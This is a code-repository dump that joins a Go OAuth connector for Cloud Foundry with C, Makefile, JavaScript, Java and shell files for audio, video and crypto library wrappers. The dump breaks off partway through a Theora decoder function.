<file_sep>package cf import ( "context" "crypto/tls" "crypto/x509" "encoding/json" "errors" "fmt" "io/ioutil" "net" "net/http" "strings" "time" "github.com/concourse/dex/connector" "github.com/concourse/dex/pkg/log" "golang.org/x/oauth2" ) type cfConnector struct { clientID string clientSecret string redirectURI string apiURL string tokenURL string authorizationURL string userInfoURL string httpClient *http.Client logger log.Logger } type connectorData struct { AccessToken string } type Config struct { ClientID string `json:"clientID"` ClientSecret string `json:"clientSecret"` RedirectURI string `json:"redirectURI"` APIURL string `json:"apiURL"` RootCAs []string `json:"rootCAs"` InsecureSkipVerify bool `json:"insecureSkipVerify"` } type CCResponse struct { NextUrl string `json:"next_url"` Resources []Resource `json:"resources"` TotalResults int `json:"total_results"` } type Resource struct { Metadata Metadata `json:"metadata"` Entity Entity `json:"entity"` } type Metadata struct { Guid string `json:"guid"` } type Entity struct { Name string `json:"name"` OrganizationGuid string `json:"organization_guid"` } func (c *Config) Open(id string, logger log.Logger) (connector.Connector, error) { var err error cfConn := &cfConnector{ clientID: c.ClientID, clientSecret: c.ClientSecret, apiURL: c.APIURL, redirectURI: c.RedirectURI, logger: logger, } cfConn.httpClient, err = newHTTPClient(c.RootCAs, c.InsecureSkipVerify) if err != nil { return nil, err } apiURL := strings.TrimRight(c.APIURL, "/") apiResp, err := cfConn.httpClient.Get(fmt.Sprintf("%s/v2/info", apiURL)) if err != nil { logger.Errorf("failed-to-send-request-to-cloud-controller-api", err) return nil, err } defer apiResp.Body.Close() if apiResp.StatusCode != http.StatusOK { err = errors.New(fmt.Sprintf("request failed with status %d", apiResp.StatusCode)) logger.Errorf("failed-get-info-response-from-api", err) return nil, err } var apiResult map[string]interface{} json.NewDecoder(apiResp.Body).Decode(&apiResult) uaaURL := strings.TrimRight(apiResult["authorization_endpoint"].(string), "/") uaaResp, err := cfConn.httpClient.Get(fmt.Sprintf("%s/.well-known/openid-configuration", uaaURL)) if err != nil { logger.Errorf("failed-to-send-request-to-uaa-api", err) return nil, err } if apiResp.StatusCode != http.StatusOK { err = errors.New(fmt.Sprintf("request failed with status %d", apiResp.StatusCode)) logger.Errorf("failed-to-get-well-known-config-repsonse-from-api", err) return nil, err } defer uaaResp.Body.Close() var uaaResult map[string]interface{} err = json.NewDecoder(uaaResp.Body).Decode(&uaaResult) if err != nil { logger.Errorf("failed-to-decode-response-from-uaa-api", err) return nil, err } cfConn.tokenURL, _ = uaaResult["token_endpoint"].(string) cfConn.authorizationURL, _ = uaaResult["authorization_endpoint"].(string) cfConn.userInfoURL, _ = uaaResult["userinfo_endpoint"].(string) return cfConn, err } func newHTTPClient(rootCAs []string, insecureSkipVerify bool) (*http.Client, error) { pool, err := x509.SystemCertPool() if err != nil { return nil, err } tlsConfig := tls.Config{RootCAs: pool, InsecureSkipVerify: insecureSkipVerify} for _, rootCA := range rootCAs { rootCABytes, err := ioutil.ReadFile(rootCA) if err != nil { return nil, fmt.Errorf("failed to read root-ca: %v", err) } if !tlsConfig.RootCAs.AppendCertsFromPEM(rootCABytes) { return nil, fmt.Errorf("no certs found in root CA file %q", rootCA) } } return &http.Client{ Transport: &http.Transport{ TLSClientConfig: &tlsConfig, Proxy: http.ProxyFromEnvironment, DialContext: (&net.Dialer{ Timeout: 30 * time.Second, KeepAlive: 30 * time.Second, DualStack: true, }).DialContext, MaxIdleConns: 100, IdleConnTimeout: 90 * time.Second, TLSHandshakeTimeout: 10 * time.Second, ExpectContinueTimeout: 1 * time.Second, }, }, nil } func (c *cfConnector) LoginURL(scopes connector.Scopes, callbackURL, state string) (string, error) { if c.redirectURI != callbackURL { return "", fmt.Errorf("expected callback URL %q did not match the URL in the config %q", callbackURL, c.redirectURI) } oauth2Config := &oauth2.Config{ ClientID: c.clientID, ClientSecret: c.clientSecret, Endpoint: oauth2.Endpoint{TokenURL: c.tokenURL, AuthURL: c.authorizationURL}, RedirectURL: c.redirectURI, Scopes: []string{"openid", "cloud_controller.read"}, } return oauth2Config.AuthCodeURL(state), nil } func (c *cfConnector) HandleCallback(s connector.Scopes, r *http.Request) (identity connector.Identity, err error) { q := r.URL.Query() if errType := q.Get("error"); errType != "" { return identity, errors.New(q.Get("error_description")) } oauth2Config := &oauth2.Config{ ClientID: c.clientID, ClientSecret: c.clientSecret, Endpoint: oauth2.Endpoint{TokenURL: c.tokenURL, AuthURL: c.authorizationURL}, RedirectURL: c.redirectURI, Scopes: []string{"openid", "cloud_controller.read"}, } ctx := context.WithValue(r.Context(), oauth2.HTTPClient, c.httpClient) token, err := oauth2Config.Exchange(ctx, q.Get("code")) if err != nil { return identity, fmt.Errorf("CF connector: failed to get token: %v", err) } client := oauth2.NewClient(ctx, oauth2.StaticTokenSource(token)) userInfoResp, err := client.Get(c.userInfoURL) if err != nil { return identity, fmt.Errorf("CF Connector: failed to execute request to userinfo: %v", err) } if userInfoResp.StatusCode != http.StatusOK { return identity, fmt.Errorf("CF Connector: failed to execute request to userinfo: status %d", userInfoResp.StatusCode) } defer userInfoResp.Body.Close() var userInfoResult map[string]interface{} err = json.NewDecoder(userInfoResp.Body).Decode(&userInfoResult) if err != nil { return identity, fmt.Errorf("CF Connector: failed to parse userinfo: %v", err) } identity.UserID, _ = userInfoResult["user_id"].(string) identity.Name, _ = userInfoResult["user_name"].(string) identity.Username, _ = userInfoResult["user_name"].(string) identity.Email, _ = userInfoResult["email"].(string) identity.EmailVerified, _ = userInfoResult["email_verified"].(bool) var orgMap = make(map[string]string) var orgSpaces = make(map[string][]string) var groupsClaims []string if s.Groups { // fetch orgs var orgs CCResponse var nextUrl = fmt.Sprintf("%s/v2/users/%s/organizations", c.apiURL, identity.UserID) for moreResults := true; moreResults; moreResults = orgs.NextUrl != "" { orgsResp, err := client.Get(nextUrl) if err != nil { return identity, fmt.Errorf("CF Connector: failed to execute request for orgs: %v", err) } if orgsResp.StatusCode != http.StatusOK { return identity, fmt.Errorf("CF Connector: failed to execute request for orgs: status %d", orgsResp.StatusCode) } orgs = CCResponse{} err = json.NewDecoder(orgsResp.Body).Decode(&orgs) if err != nil { return identity, fmt.Errorf("CF Connector: failed to parse orgs: %v", err) } for _, resource := range orgs.Resources { orgMap[resource.Metadata.Guid] = resource.Entity.Name orgSpaces[resource.Entity.Name] = []string{} } if orgs.NextUrl != "" { nextUrl = fmt.Sprintf("%s%s", c.apiURL, orgs.NextUrl) } } // fetch spaces var spaces CCResponse nextUrl = fmt.Sprintf("%s/v2/users/%s/spaces", c.apiURL, identity.UserID) for moreResults := true; moreResults; moreResults = spaces.NextUrl != "" { spacesResp, err := client.Get(nextUrl) if err != nil { return identity, fmt.Errorf("CF Connector: failed to execute request for spaces: %v", err) } if spacesResp.StatusCode != http.StatusOK { return identity, fmt.Errorf("CF Connector: failed to execute request for spaces: status %d", spacesResp.StatusCode) } spaces = CCResponse{} err = json.NewDecoder(spacesResp.Body).Decode(&spaces) if err != nil { return identity, fmt.Errorf("CF Connector: failed to parse spaces: %v", err) } for _, resource := range spaces.Resources { orgName := orgMap[resource.Entity.OrganizationGuid] orgSpaces[orgName] = append(orgSpaces[orgName], resource.Entity.Name) groupsClaims = append(groupsClaims, resource.Metadata.Guid) } if spaces.NextUrl != "" { nextUrl = fmt.Sprintf("%s%s", c.apiURL, spaces.NextUrl) } } for orgName, spaceNames := range orgSpaces { if len(spaceNames) > 0 { for _, spaceName := range spaceNames { groupsClaims = append(groupsClaims, fmt.Sprintf("%s:%s", orgName, spaceName)) } } else { groupsClaims = append(groupsClaims, fmt.Sprintf("%s", orgName)) } } identity.Groups = groupsClaims } if s.OfflineAccess { data := connectorData{AccessToken: token.AccessToken} connData, err := json.Marshal(data) if err != nil { return identity, fmt.Errorf("CF Connector: failed to parse connector data for offline access: %v", err) } identity.ConnectorData = connData } return identity, nil }
cf09e6aec913e5fffcac2d5dbe4ef35713445e6c
[ "Go" ]
1
Go
TimDiekmann/dex
1720001e5ee06ac129a97752f458d6156ac2bad4
bd1e57019d27bfdc1057a90ceaecea8dfc35923f
refs/heads/master
<file_sep>SONAME = libracket-vorbis-wrapper.so CFLAGS = -fPIC -c -g -Wall -O3 -Wextra LIBDEPS = $$(pkg-config --cflags --libs ao vorbis vorbisenc) all: so so: dec.o enc.o ogg.o conversions.o cc -shared -o $(SONAME) $(LIBDEPS) $^ %.o: %.c cc $(CFLAGS) -o $@ $< install: cp $(SONAME) $(RACKET_LIBS) clean: rm -rf *.o rm -rf *.so* .PHONY: all so clean install <file_sep>#include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> #include <assert.h> #include <vorbis/codec.h> #include <ao/ao.h> void init (void) { ao_initialize (); } typedef struct { int block_is_init; int dsp_is_init; int ao_is_init; vorbis_info* vi; vorbis_comment* vc; vorbis_dsp_state* vd; vorbis_block* vb; ao_device *device; char *sample_buffer; long sample_buffer_size; } vorbisdec; int stream_channels (vorbisdec *dec) { return dec->vi->channels; } int stream_rate (vorbisdec *dec) { return dec->vi->rate; } int vorbisdec_is_init (vorbisdec* dec) { return dec->block_is_init && dec->dsp_is_init && dec->ao_is_init; } void print_stream_info (vorbisdec* dec) { printf ("version: %d\n", dec->vi->version); printf ("channels: %d\n", dec->vi->channels); printf ("rate: %ld\n", dec->vi->rate); } int main (void) { return 0; } void vorbisdec_delete (vorbisdec* dec) { if (dec->block_is_init) { vorbis_block_clear (dec->vb); } if (dec->dsp_is_init) { vorbis_dsp_clear (dec->vd); } vorbis_comment_clear (dec->vc); vorbis_info_clear (dec->vi); free (dec->vb); free (dec->vd); free (dec->vc); free (dec->vi); if (dec->ao_is_init) { ao_close (dec->device); free (dec->sample_buffer); } free (dec); } vorbisdec* vorbisdec_new (void) { vorbis_info* vi; vorbis_comment* vc; vorbis_dsp_state* vd; vorbis_block* vb; vorbisdec* dec; dec = malloc (sizeof (vorbisdec)); vc = malloc (sizeof (vorbis_comment)); vi = malloc (sizeof (vorbis_info)); vd = malloc (sizeof (vorbis_dsp_state)); vb = malloc (sizeof (vorbis_block)); dec->block_is_init = 0; dec->dsp_is_init = 0; dec->vi = vi; dec->vc = vc; dec->vd = vd; dec->vb = vb; vorbis_info_init (dec->vi); vorbis_comment_init (dec->vc); dec->device = NULL; dec->ao_is_init = 0; return dec; } int vorbisdec_finish_init (vorbisdec* dec) { int res; ao_device *device; ao_sample_format format; memset (&format, 0, sizeof (format)); res = vorbis_synthesis_init (dec->vd, dec->vi); if (res == 0) { dec->dsp_is_init = 1; res = vorbis_block_init (dec->vd, dec->vb); if (res == 0) { dec->block_is_init = 1; /* we have all the info needed to set up ao device once the three header packets are in (actually, we have the info before that, but this simplifies control flow) */ format.bits = 16; format.channels = dec->vi->channels; format.rate = dec->vi->rate; format.byte_format = AO_FMT_NATIVE; /* format.matrix = (dec->vi->channels == 1 ? "M" : "L,R"); */ /* open up the driver */ device = ao_open_live (ao_driver_id ("pulse"), &format, NULL); if (!device) { printf ("Error opening device\n"); goto err; } /* device OK, allocate the rest of the ao stuff */ dec->device = device; dec->sample_buffer_size = format.bits * format.channels * format.rate; dec->sample_buffer = calloc (dec->sample_buffer_size, sizeof (char)); memset (dec->sample_buffer, 0, dec->sample_buffer_size); dec->ao_is_init = 1; return 0; } } err: return -1; } /* header_packet_in: process one of the header packets in the stream (identified by (buffer[0] && 1 == 1). decoder should call this with the first three packets: expect the identification packet, comment packet and type packet in order. Once all three have been called, the vorbisdec is ready to use for synthesizing data packets. returns a negative num if error processing header packet; or 0, 1, or 2, to signify the type of header packet processed. successive calls to header_packet_in MUST return 0, 1, and 2 in order for the subsequent decoding to work. */ int header_packet_in (vorbisdec* dec, unsigned char *buff, long buff_len) { ogg_packet pkt; int hi; if (buff_len < 1) { return -1; } pkt.packet = buff; pkt.bytes = buff_len; pkt.b_o_s = (buff[0] == 0x01) ? 1 : 0; pkt.e_o_s = 0; pkt.granulepos = -1; pkt.packetno = 0; switch (buff[0]) { case 0x01: hi = vorbis_synthesis_headerin (dec->vi, dec->vc, &pkt); if (hi == 0) return 0; break; case 0x03: hi = vorbis_synthesis_headerin (dec->vi, dec->vc, &pkt); if (hi == 0) return 1; break; case 0x05: hi = vorbis_synthesis_headerin (dec->vi, dec->vc, &pkt); print_stream_info (dec); if (hi == 0 && vorbisdec_finish_init (dec) == 0) return 2; break; default: /* not a valid header packet */ hi = -1; } return hi; } inline int16_t float_to_int16 (float v) { int32_t s; s = 32767 * v; if (s > 32767) s = 32767; if (s < -32768) s = -32768; return s; } int data_packet_pcmout (vorbisdec *dec) { float **pcm; int i, j, k = 0; int sample_count = vorbis_synthesis_pcmout (dec->vd, &pcm); int16_t sample; char *buffer = dec->sample_buffer; for (j = 0; j < sample_count; j++) { for (i = 0; i < dec->vi->channels; i++) { sample = float_to_int16 (pcm[i][j]); buffer[k] = sample & 0xff; buffer[k+1] = (sample >> 8) & 0xff; k += 2; } } ao_play (dec->device, buffer, k); vorbis_synthesis_read (dec->vd, sample_count); return sample_count; } /* header_packet_blockin: process one of the header packets in the stream. decoder should call this with any non-empty data packets after header_packet_in has been successfully called three times with the three header packets. returns -1 if error processing data packet; or 0 or other non-negative number to indicate how many samples are available to read. decoder must call data_packet_pcmout after data_packet_blockin returns. */ int data_packet_blockin (vorbisdec* dec, unsigned char *buff, long buff_len) { ogg_packet pkt; int res; if (buff_len < 0 || !vorbisdec_is_init (dec)) { printf ("Error: trying to use uninitialized vorbis decoder\n"); return -1; } pkt.packet = buff; pkt.bytes = buff_len; pkt.b_o_s = 0; pkt.e_o_s = 0; pkt.granulepos = 0; pkt.packetno = 0; if ((res = vorbis_synthesis (dec->vb, &pkt)) != 0) { return res; } if ((res = vorbis_synthesis_blockin (dec->vd, dec->vb)) != 0) return res; return data_packet_pcmout (dec); } <file_sep>UNAME := $(shell uname) CFLAGS = -fPIC -c -g -O3 -Wall -Wextra $$(pkg-config --cflags libswscale vpx) LIBDEPS = $$(pkg-config --libs libswscale vpx) ifeq ($(UNAME),Linux) VP8WRAPPER = libracket-vp8-wrapper.so VIDWRAPPER = libracket-v4l2-wrapper.so TARGETS = vp8 vid ALL_SO = $(VP8WRAPPER) $(VIDWRAPPER) endif ifeq ($(UNAME),Darwin) VP8WRAPPER = libracket-vp8-wrapper.dylib TARGETS = vp8 ALL_SO = $(VP8WRAPPER) endif all: $(TARGETS) vid: v4l2.o misc.o cc -shared -o $(VIDWRAPPER) $^ vp8: misc.o enc.o dec.o cc -shared -o $(VP8WRAPPER) $^ $(LIBDEPS) %.o: %.c cc $(CFLAGS) -o $@ $< install: cp $(ALL_SO) $(RACKET_LIBS) clean: rm -rf *.o rm -rf *.so* rm -rf *.dylib .PHONY: all so clean install <file_sep>SONAME = libracket-speex-wrapper.so CFLAGS = -fPIC -c -g -O3 -Wall -Wextra LIBDEPS = $$(pkg-config --cflags --libs libpulse-simple ao speex speexdsp) all: so so: speex.o cc -shared -o $(SONAME) $(LIBDEPS) $^ %.o: %.c cc $(CFLAGS) -o $@ $< install: cp $(SONAME) $(RACKET_LIBS) clean: rm -rf *.o rm -rf *.so* .PHONY: all so clean install <file_sep> /* * var monitoroverride = websocket.onmessage; websocket.onmessage = function (temp) { monitoroverride(); switch(msg.action) { case "newitem": switch(msg.item) { case "chart": var response = AddChart(msg.id, msg.type, msg.title, msg.subtitle); var responsemsg = { id: response }; //websocket.send(JSON.stringify(responsemsg)); break; } break; case "updateitem": switch(msg.item) { case "chart": var response = AddData(msg.id, msg.data); var responsemsg = { id: response }; //websocket.send(JSON.stringify(responsemsg)); break; } break; } } */ var diagrams = []; var layouters = []; var renderers = []; function AddDiagram(id, width, height) { var newdiv = document.createElement('div'); newdiv.setAttribute('id', id); var pos = document.getElementById("diagramloc"); pos.appendChild(newdiv); var g = new Graph(); var layouter = new Graph.Layout.Spring(g); var renderer = new Graph.Renderer.Raphael(id, g, width, height); diagrams[id] = g; layouters[id] = layouter; renderers[id] = renderer; } function AddDiagramNode(diagramid, nodeid, label) { var graph = diagrams[diagramid]; graph.addNode(nodeid, { label : label }); layouters[diagramid].layout(); renderers[diagramid].draw(); } function AddDiagramEdge(diagramid, nodeid1, nodeid2, directed) { var graph = diagrams[diagramid]; if (directed) { graph.addEdge(nodeid1, nodeid2, { directed : directed } ); } else { graph.addEdge(nodeid1, nodeid2); } layouters[diagramid].layout(); renderers[diagramid].draw(); } function AddData(chartid, datapoint) { var chart = charts[chartid]; var series = chart.series[0]; shift = series.data.length > 20; chart.series[0].addPoint(datapoint, true, shift); } var charts = []; function AddChart(id, ctype, title, subtitle, width, height) { //let's create a new div for the chart var newdiv = document.createElement('div'); newdiv.setAttribute('id', id); newdiv.style.height = height; newdiv.style.width = width; newdiv.setAttribute("style", "min-width: " + width.toString() + "px"); newdiv.setAttribute("style", "margin: 0 auto"); var pos = document.getElementById("chartloc"); pos.appendChild(newdiv); var chart; $(document).ready(function() { chart = new Highcharts.Chart({ chart: { renderTo: id, type: ctype, //margin: [70, 50, 60, 80], events: { /*load: function() { setInterval(function() { var x = (new Date()).getTime(), //current time y = Math.random(); series.addPoint([x, y], true, true); }, interval * 1000); }*/ /*click: function(e) { // find the clicked values and the series var x = e.xAxis[0].value, y = e.yAxis[0].value, series = this.series[0]; // Add it series.addPoint([x, y]); }*/ } }, title: { text: title }, subtitle: { text: subtitle }, xAxis: { type: 'datetime', tickPixelInterval: 150, minPadding: 0.2, maxPadding: 0.2, maxZoom: 20 * 1000 }, yAxis: { title: { text: 'Value' }, minPadding: 0.2, maxPadding: 0.2, plotLines: [{ value: 0, width: 1, color: '#808080' }] }, legend: { enabled: false }, exporting: { enabled: false }, plotOptions: { series: { lineWidth: 1, point: { events: { /* 'click': function() { if (this.series.data.length > 1) this.remove(); }*/ } } } }, series: [{ data: [] }] }); }); charts[id] = chart; } <file_sep>inline void log_err (char *msg); int take_quarter_rgb (const size_t size, const unsigned char *buffer, const size_t outsize, unsigned char *out, const int qtr_row, const int qtr_col, const int original_width, const int original_height); int take_quarter_yuyv (const size_t size, const unsigned char *buffer, const size_t outsize, unsigned char *out, const int qtr_row, const int qtr_col, const int original_width, const int original_height); <file_sep>long bstofs_naive (unsigned char* buffer, long buffer_length, int channels, float floats[buffer_length]); long bstofs_ntoh (unsigned char* buffer, long buffer_length, int channels, float floats[buffer_length]); <file_sep>#include "crypto_hash.h" int crypto_hash_get_bytes (void) { return crypto_hash_BYTES; } int crypto_hash_wrap (unsigned char *h, const unsigned char *m, unsigned long long mlen) { return crypto_hash (h, m, mlen); } <file_sep>wget http://download.dnscrypt.org/libsodium/releases/libsodium-0.4.1.tar.gz tar -zxvf libsodium-0.4.1.tar.gz rm libsodium-0.4.1.tar.gz cd libsodium-0.4.1 ./configure make make check sudo make install <file_sep>UNAME := $(shell uname) ifeq ($(UNAME), Darwin) SO = libnacl.dylib CFLAGS = -m64 -fPIC -c -g -O3 -Wall -Wextra -Werror SOCOMMAND = -m64 -dynamiclib -o $(SO) -dylib else ifeq ($(UNAME), Linux) SO = libnacl.so CFLAGS = -fPIC -c -g -O3 -Wall -Wextra -Werror SOCOMMAND = -fPIC -O3 -g -shared -o $(SO) endif all: so so: box.o sign.o hash.o cpucycles.o randombytes.o libnacl.a $(CC) $(SOCOMMAND) $^ %.o: %.c $(CC) $(CFLAGS) -o $@ $< install: cp $(SO) $(RACKET_LIBS) clean: rm -rf box.o sign.o hash.o $(SO) .PHONY: all so clean install <file_sep>#include "crypto_onetimeauth.h" int crypto_onetimeauth_get_bytes (void) { return crypto_onetimeauth_BYTES; } int crypto_onetimeauth_get_keybytes (void) { return crypto_onetimeauth_KEYBYTES; } <file_sep>#include <stdlib.h> #include <string.h> #include <stdio.h> #include <stdint.h> #include <libswscale/swscale.h> #include <vpx/vpx_encoder.h> #include <vpx/vp8cx.h> #include "misc.h" int ENCODER_SPEED = VPX_DL_REALTIME; typedef struct VP8Enc { vpx_codec_ctx_t *codec; vpx_image_t *image; int width; int height; vpx_codec_pts_t n_frames; struct SwsContext *swsctx; } VP8Enc; void vp8enc_delete (VP8Enc *enc) { if (enc == NULL) return; if (enc->codec != NULL) free (enc->codec); if (enc->image != NULL) vpx_img_free (enc->image); if (enc->swsctx != NULL) sws_freeContext (enc->swsctx); free (enc); } VP8Enc* vp8enc_new (int num_threads, int enc_frame_width, int enc_frame_height, int enc_fps_numerator, int enc_fps_denominator) { unsigned int i; vpx_codec_err_t status; vpx_codec_enc_cfg_t cfg; VP8Enc *enc; status = vpx_codec_enc_config_default (&vpx_codec_vp8_cx_algo, &cfg, 0); if (status != VPX_CODEC_OK) goto no_config; enc = malloc (sizeof (VP8Enc)); if (enc == NULL) goto no_enc_alloc; enc->codec = malloc (sizeof (vpx_codec_ctx_t)); cfg.g_w = enc_frame_width; cfg.g_h = enc_frame_height; cfg.g_timebase.num = enc_fps_numerator; cfg.g_timebase.den = enc_fps_denominator; /* keyframes: in theory this sets the keyframe rate minimum at one/sec */ cfg.kf_mode = VPX_KF_AUTO; cfg.kf_min_dist = 0; cfg.kf_max_dist = enc_fps_denominator; /* QUALITY SETTINGS */ cfg.rc_target_bitrate = cfg.g_w; cfg.g_threads = num_threads; /* these three settings disable the behavior where the first ~10-20MB of data gets produced in 50-75KB chunks, therefore speeding up the start of stream and reducing variation in picture quality */ cfg.g_pass = VPX_RC_ONE_PASS; cfg.g_lag_in_frames = 0; cfg.g_usage = VPX_CQ; status = vpx_codec_enc_init (enc->codec, &vpx_codec_vp8_cx_algo, &cfg, 0); if (status != VPX_CODEC_OK) goto no_init; int ctrls[] = { VP8E_SET_CQ_LEVEL, VP8E_SET_TUNING }; int vals[] = { 63, VP8_TUNE_SSIM }; for (i = 0; i < sizeof (ctrls) / sizeof (*ctrls); i++) { status = vpx_codec_control_ (enc->codec, ctrls[i], vals[i]); if (status != VPX_CODEC_OK) printf ("vpx encoder: couldn't set setting %d, proceeding anyway (status %d)\n", i, status); } /* pixel-format-specific offset and stride settings */ enc->image = vpx_img_alloc (NULL, VPX_IMG_FMT_YV12, cfg.g_w, cfg.g_h, 0); /* tracking values for conversion and encoding later */ enc->width = cfg.g_w; enc->height = cfg.g_h; enc->n_frames = 0; enc->swsctx = sws_getContext (enc->image->w, enc->image->h, PIX_FMT_YUYV422, enc->image->w, enc->image->h, PIX_FMT_YUV420P, 1, NULL, NULL, NULL); if (enc->swsctx == NULL) goto no_sws; return enc; no_sws: printf ("Could not initialize libswscale\n"); return NULL; no_config: printf ("Failed to get configuration: %s\n", vpx_codec_err_to_string (status)); return NULL; no_enc_alloc: printf ("Couldn't allocate encoder (malloc returned NULL)\n"); return NULL; no_init: printf ("Couldn't initialize codec: %s\n", vpx_codec_err_to_string (status)); free (enc); return NULL; } int encode_image (VP8Enc *enc, const size_t outsize, unsigned char *out, size_t *written) { const vpx_codec_cx_pkt_t *pkt; vpx_codec_err_t status; vpx_codec_iter_t iter = NULL; vpx_fixed_buf_t fbuff = { out, outsize }; vpx_enc_frame_flags_t flags = 0; int need_extra_copy = 0; status = vpx_codec_encode (enc->codec, enc->image, enc->n_frames++, 1, flags, ENCODER_SPEED); if (status != VPX_CODEC_OK) goto no_frame; status = vpx_codec_set_cx_data_buf (enc->codec, &fbuff, 0, 0); if (status != VPX_CODEC_OK) need_extra_copy = 1; /* XXX fixme this only takes the first packet from the iterator and discards the rest corresponding to the input buffer */ if (NULL != (pkt = vpx_codec_get_cx_data (enc->codec, &iter))) { switch (pkt->kind) { case VPX_CODEC_CX_FRAME_PKT: if (need_extra_copy) memcpy (out, pkt->data.frame.buf, pkt->data.frame.sz); *written = pkt->data.frame.sz; break; default: printf ("Found some non-data packet, type %d\n", pkt->kind); break; } } return 1; no_frame: printf ("Couldn't encode buffer: %s\n", vpx_codec_err_to_string (status)); return 0; } int vp8enc_encode_quarter (VP8Enc *enc, const int qtr_row, const int qtr_col, const size_t size, const unsigned char *buffer, const size_t outsize, unsigned char *out, size_t *written) { /* all the remaining code in this procedure assumes that the VP8Enc was * correctly initialized for quarter-frame encoding. */ unsigned char tmp[enc->width * enc->height * 2]; const uint8_t *src_slices[3] = { tmp, tmp + 1, tmp + 3 }; int stride422 = enc->width * 2; const int src_stride[3] = { stride422, stride422, stride422 }; // copy the quarter of the frame we're interested in. if (take_quarter_yuyv (size, buffer, enc->width * enc->height * 2, tmp, qtr_row, qtr_col, enc->width * 2, enc->height * 2)) { sws_scale (enc->swsctx, src_slices, src_stride, 0, enc->image->h, enc->image->planes, enc->image->stride); return encode_image (enc, outsize, out, written); } else { return 0; } } int vp8enc_encode (VP8Enc *enc, const size_t size, const unsigned char *buffer, const size_t outsize, unsigned char *out, size_t *written) { if (enc->width * enc->height * 2 != (int) size) { printf ("Error: VP8Enc was not set up for full-size encoding \ or input buffer size is wrong.\n"); return 0; } const uint8_t *src_slices[3] = { buffer, buffer + 1, buffer + 3 }; int stride422 = enc->width * 2; const int src_stride[3] = { stride422, stride422, stride422 }; sws_scale (enc->swsctx, src_slices, src_stride, 0, enc->image->h, enc->image->planes, enc->image->stride); return encode_image (enc, outsize, out, written); } <file_sep>/* Copyright 2009 <NAME>, <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /* A helper class for the Scheme interface to the HTMLParser HTML parser. The following jars are required from the Abdera distribution: */ import org.htmlparser.Parser; import org.htmlparser.util.ParserException; import org.htmlparser.visitors.NodeVisitor; import org.htmlparser.visitors.TextExtractingVisitor; public class HTMLParser { private Parser p; private TextExtractingVisitor tev; public HTMLParser(String html) { try { p = new Parser(); p.setInputHTML(html); tev = new TextExtractingVisitor(); p.visitAllNodesWith(tev); } catch (ParserException pe) { } } public String getText() { return tev.getExtractedText(); } } <file_sep>#include <stdlib.h> #include <stdio.h> #include <SDL/SDL.h> #include <theora/theoradec.h> void doc (int r) { switch (r) { case 0: printf ("Success."); break; case TH_DUPFRAME: printf ("Dropped (0-byte) frame."); break; case TH_EFAULT: printf ("Argument was NULL."); break; case TH_EBADPACKET: printf ("Does not contain encoded video data."); break; case TH_EIMPL: printf ("Bitstream contains unsupported features."); break; case TH_EBADHEADER: printf ("Bad header."); break; case TH_EVERSION: printf ("Header was for incompatible bitstream version."); break; case TH_ENOTFORMAT: printf ("Packet is not a Theora header."); break; default: printf ("Unknown return value."); } printf ("\n"); } typedef struct TheoraDec { /* track just to switch on packet type */ int have_comment; int have_id; int have_type; th_info* info; th_comment* comment; th_setup_info* setup; th_dec_ctx* ctx; /* video output coupled here: evil but easy */ SDL_Surface *screen; SDL_Overlay *yuv_overlay; SDL_Rect rect; } TheoraDec; int video_init (TheoraDec *dec); void video_display (TheoraDec *dec, th_ycbcr_buffer yuv); int theoradec_ready_for_data (TheoraDec *dec) { return dec->have_comment && dec->have_type && dec->have_id; } void theoradec_delete (TheoraDec *dec) { if (!dec) return; if (dec->info != NULL) { th_info_clear (dec->info); free (dec->info); } if (dec->comment != NULL) { th_comment_clear (dec->comment); free (dec->comment); } if (dec->setup != NULL) th_setup_free (dec->setup); if (dec->ctx != NULL) th_decode_free (dec->ctx); SDL_Quit (); free (dec); } TheoraDec* theoradec_new (void) { TheoraDec *dec = malloc (sizeof (TheoraDec)); if (dec) { dec->have_comment = 0; dec->have_id = 0; dec->have_type = 0; dec->info = malloc (sizeof (th_info)); dec->comment = malloc (sizeof (th_comment)); dec->setup = NULL; dec->ctx = NULL; if (dec->info && dec->comment) { th_info_init (dec->info); th_comment_init (dec->comment); } else goto init_err; if (0 > SDL_Init (SDL_INIT_VIDEO)) { printf ("Unable to init SDL: %s\n", SDL_GetError ()); goto init_err; } return dec; } init_err: theoradec_delete (dec); return NULL; } int theoradec_header_in (TheoraDec *dec, unsigned char *buffer, long buffer_length) { int r; ogg_packet p; if (!dec || buffer_length < 1) return 0; p.packet = buffer; p.bytes = buffer_length; p.b_o_s = (buffer[0] == 0x80) ? 1 : 0; p.e_o_s = 0; p.granulepos = 0; p.packetno = 0; switch (buffer[0]) { case 0x80: if (dec->have_id) goto already_have; if (0 > (r = th_decode_headerin (dec->info, dec->comment, &(dec->setup), &p))) goto header_err; dec->have_id = 1; break; case 0x81: if (dec->have_comment) goto already_have; if (0 > (r = th_decode_headerin (dec->info, dec->comment, &(dec->setup), &p))) goto header_err; dec->have_comment = 1; break; case 0x82: if (dec->have_type) goto already_have; if (0 > (r = th_decode_headerin (dec->info, dec->comment, &(dec->setup), &p))) goto header_err; dec->have_type = 1; break; default: printf ("unknown header packet found, returning early.\n"); return 1; } if (theoradec_ready_for_data (dec)) { dec->ctx = th_decode_alloc (dec->info, dec->setup); if (dec->ctx == NULL) goto setup_ctx_err; if (!(video_init (dec))) goto setup_SDL_err; } return 1; header_err: doc (r); return 0; already_have: printf ("header_in called with a packet whose type was already seen. Taking no action.\n"); return 1; setup_ctx_err: printf ("Error setting up decoding context.\n"); return 0; setup_SDL_err: printf ("Error setting up SDL components.\n"); return 0; } int theoradec_data_in (TheoraDec *dec, unsigned char *buffer, long buffer_length) { ogg_packet p; int r; ogg_int64_t gp; th_ycbcr_buffer yuv; if (!dec || !(dec->info) || !(dec->ctx)) return 0; p.packet = buffer; p.bytes = buffer_length; p.b_o_s = 0; p.e_o_s = 0; p.granulepos = -1; p.packetno = 0; if (0 == (r = th_decode_packetin (dec->ctx, &p, &gp))) { th_decode_ycbcr_out (dec->ctx, yuv); video_display (dec, yuv); } else { doc (r); } return r == 0 ? 1 : 0; } int video_init (TheoraDec *dec) { /* this function taken from example in libtheora-1.1 distribution */ int w, h; w = (dec->info->pic_x + dec->info->frame_width + 1 & ~1) - 